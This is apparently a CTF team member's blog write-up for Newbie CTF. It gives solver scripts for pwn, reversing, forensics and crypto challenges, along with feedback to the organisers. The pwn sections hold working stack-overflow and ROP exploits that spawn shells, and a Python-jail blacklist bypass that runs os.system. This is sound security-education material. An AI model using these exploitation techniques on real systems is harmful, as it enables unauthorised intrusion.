I played Newbie CTF which was held from November 2nd to 3rd in zer0pts
.
The CTF had some problems in their challenges, servers, and so on but I enjoyed it.
We got 15849pts and reached 1st place.
Here I'm going to write the solutions for pwn challenges and some others with high points (more than 900pts).
- [Pwn 424pts] python_jail
- [Pwn 521pts] babypwn
- [Pwn 590pts] OneShot_OneKill
- [Pwn 845pts] dRop_the_beat
- [Pwn 1000pts] revenge
- [Reversing 935pts] BABYREV
- [Reversing 994] Foxy Fox
- [Forensics 951pts] REC
- [Crypto 999pts] is..it...ecc????
- Comment
The tasks and solvers for the challenges I solved are available here.
Members' writeups:
[Pwn 424pts] python_jail
Description: Hi! Welcome to pyjail! Escape Jail If you can! Server: nc prob.vulnerable.kr 20001
We can run python code.
$ nc prob.vulnerable.kr 20001 Hi! Welcome to pyjail! ======================================================================== #! /usr/bin/python3 #-*- coding:utf-8 -*- def main(): print("Hi! Welcome to pyjail!") print("========================================================================") print(open(__file__).read()) print("========================================================================") print("RUN") text = input('>>> ') for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']: if keyword in text: print("No!!!") return; else: exec(text) if __name__ == "__main__": main() ======================================================================== RUN >>>
It's a simple blacklist filter and we can bypass it by a simple Python code.
>>> __builtins__.__dict__['ev'+"al"]("__imp"+"ort__('o"+"s').sys"+"tem('/bin/bash')") cat /home/python_jail/flag KorNewbie{H311o_h0w_@r3_y0u_d0lng?}
[Pwn 521pts] babypwn
Description: This Challenge remake... i want many solve!!! do you know Buffer Overflow??? File: babypwn Server: nc prob.vulnerable.kr 20035
It's a simple stack overflow challenge. The binary has a function named flag2
, which executes the shell.
from ptrlib import * elf = ELF("./babypwn") #sock = Process("./babypwn") sock = Socket("prob.vulnerable.kr", 20035) payload = b"A" * 0x408 payload += p64(0x40065a) # ret gadget so that it works on libc-2.27 too payload += p64(elf.symbol("flag2")) sock.sendline(payload) sock.interactive()
Baby.
$ python solve.py [+] __init__: Successfully connected to prob.vulnerable.kr:20035 [ptrlib]$ cat /home/babypwn/flag KorNewbie{Th1s_1S_R34L_Fl4g_C0ngr4tu14ti0n5!}
[Pwn 590pts] OneShot_OneKill
Description: You have just one bullet.... kill him! File: oneshot_onekill Server: nc prob.vulnerable.kr 20026
The binary has a simple stack overflow.
It also has a function which executes cat flag
but when I solved the challenge, the current directory was root and couldn't cat. (It's fixed after I solved...)
I solved it with ROP.
from ptrlib import * elf = ELF("./oneshot_onekill") #sock = Process("./oneshot_onekill") sock = Socket("prob.vulnerable.kr", 20026) payload = b"A" * 0x130 payload += p32(elf.plt("gets")) payload += p32(0x08048399) payload += p32(elf.section(".bss") + 0x100) payload += p32(elf.plt("system")) payload += p32(0x08048399) payload += p32(elf.section(".bss") + 0x100) sock.sendline(payload) sock.sendline("/bin/sh") sock.interactive()
Baby.
$ python solve.py [+] __init__: Successfully connected to prob.vulnerable.kr:20026 [ptrlib]$ Do you know basic of BOF? This prob is for newbie pwner, so it is x32 binary This Environment has only ASLR and NX, NO other migitations Can you Exploit it? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@¡ cat /home/oneshot_onekill/flag KorNewbie{Nice_Sh0T_N3wbie_Pwner!$#} [ptrlib]$
[Pwn 845pts] dRop_the_beat
Description: dRop the Beat DJ!! Files: drop_the_beat, libc.so,6 Server: nc prob.vulnerable.kr 20002
Stack oveflow again.
from ptrlib import * libc = ELF("./libc.so.6") elf = ELF("./drop_the_beat_easy") #sock = Process("./drop_the_beat_easy") sock = Socket("prob.vulnerable.kr", 20002) rop_pop1 = 0x080483b9 # stage 1 payload = b'A' * 0x68 payload += p32(elf.plt("puts")) payload += p32(rop_pop1) payload += p32(elf.got("puts")) payload += p32(elf.symbol("main")) sock.sendlineafter("..!\n", "1") sock.recvline() sock.send(payload) sock.recvline() sock.recvline() libc_base = u64(sock.recvline()[:4]) - libc.symbol("puts") logger.info("libc base = " + hex(libc_base)) # stage 2 payload = b'A' * 0x68 payload += p32(libc_base + libc.symbol("system")) payload += p32(0xdeadbeef) payload += p32(libc_base + next(libc.find("/bin/sh\0"))) sock.sendlineafter("..!\n", "1") sock.recvline() sock.send(payload) sock.interactive()
Baby.
$ python solve.py [+] __init__: Successfully connected to prob.vulnerable.kr:20002 [+] <module>: libc base = 0xf75ab000 [ptrlib]$ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@Y^÷ï¾Þ+@p÷ Wow... That's AWESOME! cat /home/drop_the_beat/flag KorNewbie{R0PR0PR@P~@!#GrE4T_3EaT_!ROPROPROP*@(#} [ptrlib]$
[Pwn 1000pts] revenge
File: revenge Server: nc prob.vulnerable.kr 20037
Finally a pwn with different taste.
The binary is statically linked and stripped.
It reads an address by scanf and then we can send arbitrary 0x19 bytes into the address.
It intentionally corrupts the canary and it always crashes before the main function ends.
I thought of disabling __stack_chk_fail
but it's statically linked.
Also, the linked libc seems to be libc-2.27 and vtable hijacking won't work.
However, we can bypass the SSP in about 1/256 probability because it corrupts only the 2nd bytes of the canary with the least byte of the address we send.
First of all, I removed the SSP using idadif beacuse It's troublesome while debugging.
My plan is to take a control by overwriting the .fini_array
.
There are 2 elements in .fini_array
in this binary so we can call 2 functions.
I set .fini_array[0]
to __libc_csu_fini
and set .fini_array[1]
to main
.
In this way, we'll have arbitrary write with infinite loop.
However, we can only write to the address which won't crash the canary.
If we bypassed the SSP check in the first time, the 2nd byte of the canary is same as the least byte of .fini_array
.
Since it's 0x50 in the binary, we can only write to some addressed like 0x??????50
.
That's what made it hard.
I couldn't find any functions which execute shell or open the flag and I decided to make a ROP chain.
As you can understand from the graph above, rbp will be the address of .fini_array
when call
ignites.
Thus, leave ret gadget will work as stack pivoting and rsp will move to .fini_array + 8
.
As we have 0x19 bytes control, we can put 0x10 bytes ROP chain here.
However, as we only have 0x19 bytes control and only can write to addresses like 0x??????50
, we can put only 0x10 bytes ROP chain!
Obviously it's not enough. I'd been stuck a while here but finally found a solution. I found a useful gadget:
0x00463567: retn 0x03E8 ; (1 found)
This will work as ret and will move rsp.
After returning from the next address, the next return address will come to 0x??????50 + 0x400
, which is a valid address we can write to!
So, we can put our ROP chain like this:
| | +---------------+ | leave; ret; | +---------------+ | retn 0x3e8; | +---------------+ | pop rax; ret; | +---------------+ | ..... | +---------------+ | SYS_execve | +---------------+ | retn 0x3e8; | +---------------+ | pop rdi; ret; | +---------------+ | ..... | +---------------+ | &'/bin/sh' | +---------------+ | |
Let's write the exploit code.
from ptrlib import * import time rop_leave_ret = 0x400cc3 rop_retn_3e8 = 0x00463567 rop_ret = 0x0040042e rop_pop_rax = 0x00415764 rop_pop_rdx = 0x0044bee6 rop_pop_rsi = 0x004103b3 rop_pop_rdi = 0x004006f6 rop_syscall = 0x0040133c addr_fini = 0x401a40 addr_fini_array = 0x6d1150 addr_main = 0x400c00 addr_stack = 0x6d1160 addr_binsh = 0x6d1250 def overwrite(addr, data): assert addr & 0xff == 0x50 sock.sendline(str(addr)) sock.send(data) sock.recvline() return while True: #sock = Process("./revenge") sock = Socket("prob.vulnerable.kr", 20037) overwrite(addr_fini_array, p64(addr_fini) + p64(addr_main)) if b'***' in sock.recvline(timeout=0.5): sock.close() continue logger.info("OK. sending payload...") overwrite(addr_binsh, b"/bin/sh\x00") overwrite(addr_fini_array + 0x400 * 4, p64(addr_binsh) + p64(rop_retn_3e8) + p64(rop_syscall)) overwrite(addr_fini_array + 0x400 * 3, p64(0) + p64(rop_retn_3e8) + p64(rop_pop_rdi)) overwrite(addr_fini_array + 0x400 * 2, p64(0) + p64(rop_retn_3e8) + p64(rop_pop_rdx)) overwrite(addr_fini_array + 0x400, p64(0x3b) + p64(rop_retn_3e8) + p64(rop_pop_rsi)) overwrite(addr_fini_array, p64(rop_leave_ret) + p64(rop_retn_3e8) + p64(rop_pop_rax)) sock.interactive() exit(0)
Yay!
$ python solve.py [+] __init__: Successfully connected to prob.vulnerable.kr:20037 [+] close: Connection to prob.vulnerable.kr:20037 closed [+] __init__: Successfully connected to prob.vulnerable.kr:20037 [+] close: Connection to prob.vulnerable.kr:20037 closed [+] close: Connection to prob.vulnerable.kr:20037 closed [+] __init__: Successfully connected to prob.vulnerable.kr:20037 [+] close: Connection to prob.vulnerable.kr:20037 closed [+] close: Connection to prob.vulnerable.kr:20037 closed [+] __init__: Successfully connected to prob.vulnerable.kr:20037 [+] close: Connection to prob.vulnerable.kr:20037 closed [+] close: Connection to prob.vulnerable.kr:20037 closed [+] __init__: Successfully connected to prob.vulnerable.kr:20037 [+] close: Connection to prob.vulnerable.kr:20037 closed [WARN] recvonce: Timeout [+] <module>: OK. sending payload... [ptrlib]$ cat /home/revenge/flag [ptrlib]$ KorNewbie{amano_hina}
This challenge was fun!
[Reversing 935pts] BABYREV
Description: I encrypted my sensitive secrets with an encryption program, but I can't make a decryption program! Can you help me? Files: babyrev.exe, enc.txt
After reading the input file, every byte is mapped by a fixed table.
Also, every byte is xored with a value returned by sub_140011780
.
This function returns 0x15 or 0x16.
I tried some patterns and found it returns 0x16 if (loop counter) % 2 == 0
, otherwise 0x15.
I wrote a simple decoder.
with open("babyrev.exe", "rb") as f: f.seek(0x8fb0) table = f.read(0x100) with open("enc.txt", "rb") as f: cipher = f.read() flag = "" for i, c in enumerate(cipher): for x in range(0x100): if table[(x // 10) * 16 + (x % 10)] == c ^ (0x16 - (i%2)): flag += chr(x) break print(flag)
Trust me, the flag is korNewbie{ba8y_rev_i$_very_Very_eZ!}
, not KorNewbie{ba8y_rev_i$_very_Very_eZ!}
.
[Reversing 994] Foxy Fox
Description: Look at that cute fox over there!!! http://www.talesshop.com/?page=product&query=fox Please Answer My Question! IF you run FoxyFox binary your computer can be shut down Please run the Binnary on Vmware ex ) VMware, VirtualBox, Qemu Please don't upload binary to sites like Virastotal. ex) VirusTotal, AnyRun File: FoxyFox.exe
At first, I started analysing sub_465970
. This function is pretty obfuscated by a simple string encoder and dynamically resolving API.
The encoding is simple. We can decode the string by incrementing the characters byte by byte.
It finds a file or API by hash function.
I wrote a script to map a hash to its function name.
from ptrlib import ror hashval = [ 0x13e0ff2c, 0xB7D26563, 0x5B9E4069, 0x98AE69CB, 0x96AE69D0, 0x998802F1, 0x7F3EECA7 ] def calc_hash(name, key): hashval = 0 for c in name: hashval = ((ord(c) | 0x20) + ror(hashval, 8, bits=32)) ^ key return hashval with open("apilist_kernel32", "r") as f: for line in f: for h in hashval: if calc_hash(line.strip(), 0x7C35D9A3) == h: print(hex(h), line.strip()) break
Finally we can analyse the function.
It reads a resource named FLAG
and decrypts it with a key.
The key is a user input and is checked by the same hash function.
As the key size is 4-byte, we can easily find the password by brute-forcing.
from ptrlib import * import string table = string.ascii_letters + string.digits def calc_hash(name, key): hashval = 0 for c in name: hashval = ((ord(c) | 0x20) + ror(hashval, 8, bits=32)) ^ key return hashval for pattern in brute_force_attack(4, table_len=len(table)): password = brute_force_pattern(pattern, table) if calc_hash(password, 0x7C35D9A3) == 0x8faf5559: print(password) break
The key is flag
.
Now what we have to do is extract the encrypted file and decrypt it with the key.
import pefile from ptrlib import * key = b"FLAG" # flag works but FLAG is correct pe = pefile.PE("FoxyFox.exe") for rsrc in pe.DIRECTORY_ENTRY_RESOURCE.entries: for entry in rsrc.directory.entries: offset = entry.directory.entries[0].data.struct.OffsetToData size = entry.directory.entries[0].data.struct.Size encryptedImage = pe.get_memory_mapped_image()[offset:offset + size] img = xor(encryptedImage, key) with open("flag.png", "wb") as f: f.write(img) exit()
WTF.
... There is one more path in which it checks our input. But the input size must be 16-byte and it only checks the hash value. 3 of them are fixed but we need the rest 13-bytes. I'd been stuck here for hours as it's next to impossible. (z3 didn't work as well.)
Finally, the admin updated the binary. They added this simple xor checker.
The key is fixed and now it's super easy.
from z3 import * def calc_hash(name, key): hashval = 0 for c in name: hashval = ((ord(c) | 0x20) + ((hashval >> 8) | ((hashval & 0xff) << 24))) ^ key return hashval flag = [BitVec("flag{:02x}".format(i), 8) for i in range(0x10)] s = Solver() s.add(flag[0x3] == 0x5f) s.add(flag[0x7] == 0x5f) s.add(flag[0xc] == 0x5f) s.add(And(0x40 < flag[0], 0x5a >= flag[0])) s.add(And(0x40 < flag[1], 0x5a >= flag[1])) s.add(And(0x40 < flag[2], 0x5a >= flag[2])) s.add(And(0x40 < flag[4], 0x5a >= flag[4])) s.add(And(0x40 < flag[5], 0x5a >= flag[5])) s.add(And(0x40 < flag[6], 0x5a >= flag[6])) s.add(And(0x40 < flag[8], 0x5a >= flag[8])) s.add(And(0x40 < flag[9], 0x5a >= flag[9])) s.add(And(0x40 < flag[10], 0x5a >= flag[10])) s.add(And(0x40 < flag[11], 0x5a >= flag[11])) s.add(And(0x40 < flag[13], 0x5a >= flag[13])) s.add(And(0x40 < flag[14], 0x5a >= flag[14])) s.add(And(0x40 < flag[15], 0x5a >= flag[15])) l = [0, 0x1c, 0x11, 0x0b, 0x12, 0x1b, 0x0c, 0x0b, 0x7, 0x15, 0x0d, 7, 0x0b, 7, 1, 0x15] for i in range(0x10): s.add(flag[i] ^ flag[0] == l[i]) #s.add(calc_hash(flag, 0x7c35d9a3) == 0xf92ac34) answer = ['?' for i in range(0x10)] r = s.check() if r == sat: m = s.model() for d in m.decls(): answer[int(d.name()[4:], 16)] = chr(m[d].as_long()) answer = ''.join(answer) print("Found!") print(answer) print(hex(calc_hash(answer, 0x7c35d9a3))) else: print(r)
WHY IS FINDING THE DUMMY FLAG MUCH HARDER THAN THE REAL FLAG???
[Forensics 951pts] REC
Description: REC? Kion vi celas? File: REC.exe
First of all, we need to add MZ
to the head of the file to fix the exe file.
After that we can analyse the binary by IDA.
The flag is stored to the local variable byte by byte.
import re asm = """mov [esp+30h+var_20], 4Bh mov [esp+30h+var_1F], 6Fh mov [esp+30h+var_1E], 72h mov [esp+30h+var_1D], 4Eh mov [esp+30h+var_1C], 65h mov [esp+30h+var_1B], 77h mov [esp+30h+var_1A], 62h mov [esp+30h+var_19], 69h mov [esp+30h+var_18], 65h mov [esp+30h+var_17], 7Bh mov [esp+30h+var_16], 52h mov [esp+30h+var_15], 65h mov [esp+30h+var_14], 63h mov [esp+30h+var_13], 6Fh mov [esp+30h+var_12], 76h mov [esp+30h+var_11], 65h mov [esp+30h+var_10], 72h mov [esp+30h+var_F], 5Fh mov [esp+30h+var_E], 53h mov [esp+30h+var_D], 69h mov [esp+30h+var_C], 67h mov [esp+30h+var_B], 6Eh mov [esp+30h+var_A], 61h mov [esp+30h+var_9], 74h mov [esp+30h+var_8], 75h mov [esp+30h+var_7], 72h mov [esp+30h+var_6], 65h mov [esp+30h+var_5], 7Dh mov [esp+30h+var_4], 0 """ flag = "" for line in asm.split("\n"): r = re.findall(", ([0-9A-F]+)h", line) if r == []: continue flag += chr(int(r[0], 16)) print(flag)
That's it.
[Crypto 999pts] is..it...ecc????
Description: The ciphertext and key are outside the elliptic curve. But decryption is possible. P + Q = R = ((slope^2 - P_x - Q_x) %N, (slope*(P_x - R_x) - P_y) %N) -P = (x, N - y) if Q = -P: slope = 0 how can u get d? d is veryyyyyy small given C is (Plain text) + d * (r + 1) * e Server: nc prob.vulnerable.kr 20016
It's an Elliptic Curve challenge. The given point C and e are not on the curve.
Fortunately this library (which I wrote few years ago) could handle this.
By bruteforcing d
, I could find the plain text.
from ptrlib import * from EllipticCurve import * import re import string sock = Socket("prob.vulnerable.kr", 20016) # y^2 = x^3 + Ax + B (over N) x = re.findall(b" (\d+)\*x \+ (\d+), r: (\d+)", sock.recvline()) A, B, r = int(x[0][0]), int(x[0][1]), int(x[0][2]) sock.recvline() # e x = re.findall(b"e: \((\d+), (\d+)\)", sock.recvline()) ex, ey = int(x[0][0]), int(x[0][1]) sock.recvline() # N N = (int(sock.recvline()[3:])) sock.recvline() # C x = re.findall(b"C: \((\d+), (\d+)\)", sock.recvline()) Cx, Cy = int(x[0][0]), int(x[0][1]) sock.recvline() F = FiniteField(N) E = EllipticCurve(F, (A, B)) e = Point(E, ex, ey) C = Point(E, Cx, Cy) print(E) print(e) print(C) for d in range(0x1000): w = e * d * (r + 1) M = C + Point(E, w.x, N - w.y) l1 = M.x.bit_length() + (8 - (M.x.bit_length() % 8)) l2 = M.y.bit_length() + (8 - (M.y.bit_length() % 8)) x = int.to_bytes(M.x, byteorder='big', length=l1 // 8) y = int.to_bytes(M.y, byteorder='big', length=l2 // 8) if consists_of(x, string.printable, per=0.8): print(x) print(y) if consists_of(y, string.printable, per=0.8): print(x) print(y) sock.close()
Comment
As there were several issues on the administration, I want to say some things to make the CTF much better next year. I don't mention about technical issues such as heavy server. However, you should've not done
- Open hints / change binary for challenges already solved by some teams
- Those who already solved the challenge would feel unfair
- If you think it's necessary, write it before opening the challenge
- Open challenges before testing it's solvable
- Some challengs were deleted during the CTF
- You should've checked them if they were solvable (Not only the author but other members should test the challenges)
- Check the challenge description too. Changing it many times was not good.
- Add members who were supposed to play the CTF
- It can be seen suspicious (as some players had claimed on it)
- Some challs were guessy
- To prevent it, it's good to open the server-side code as much as possible
The rapid response to the participants' questions was good. I hope it'll be improved next year :)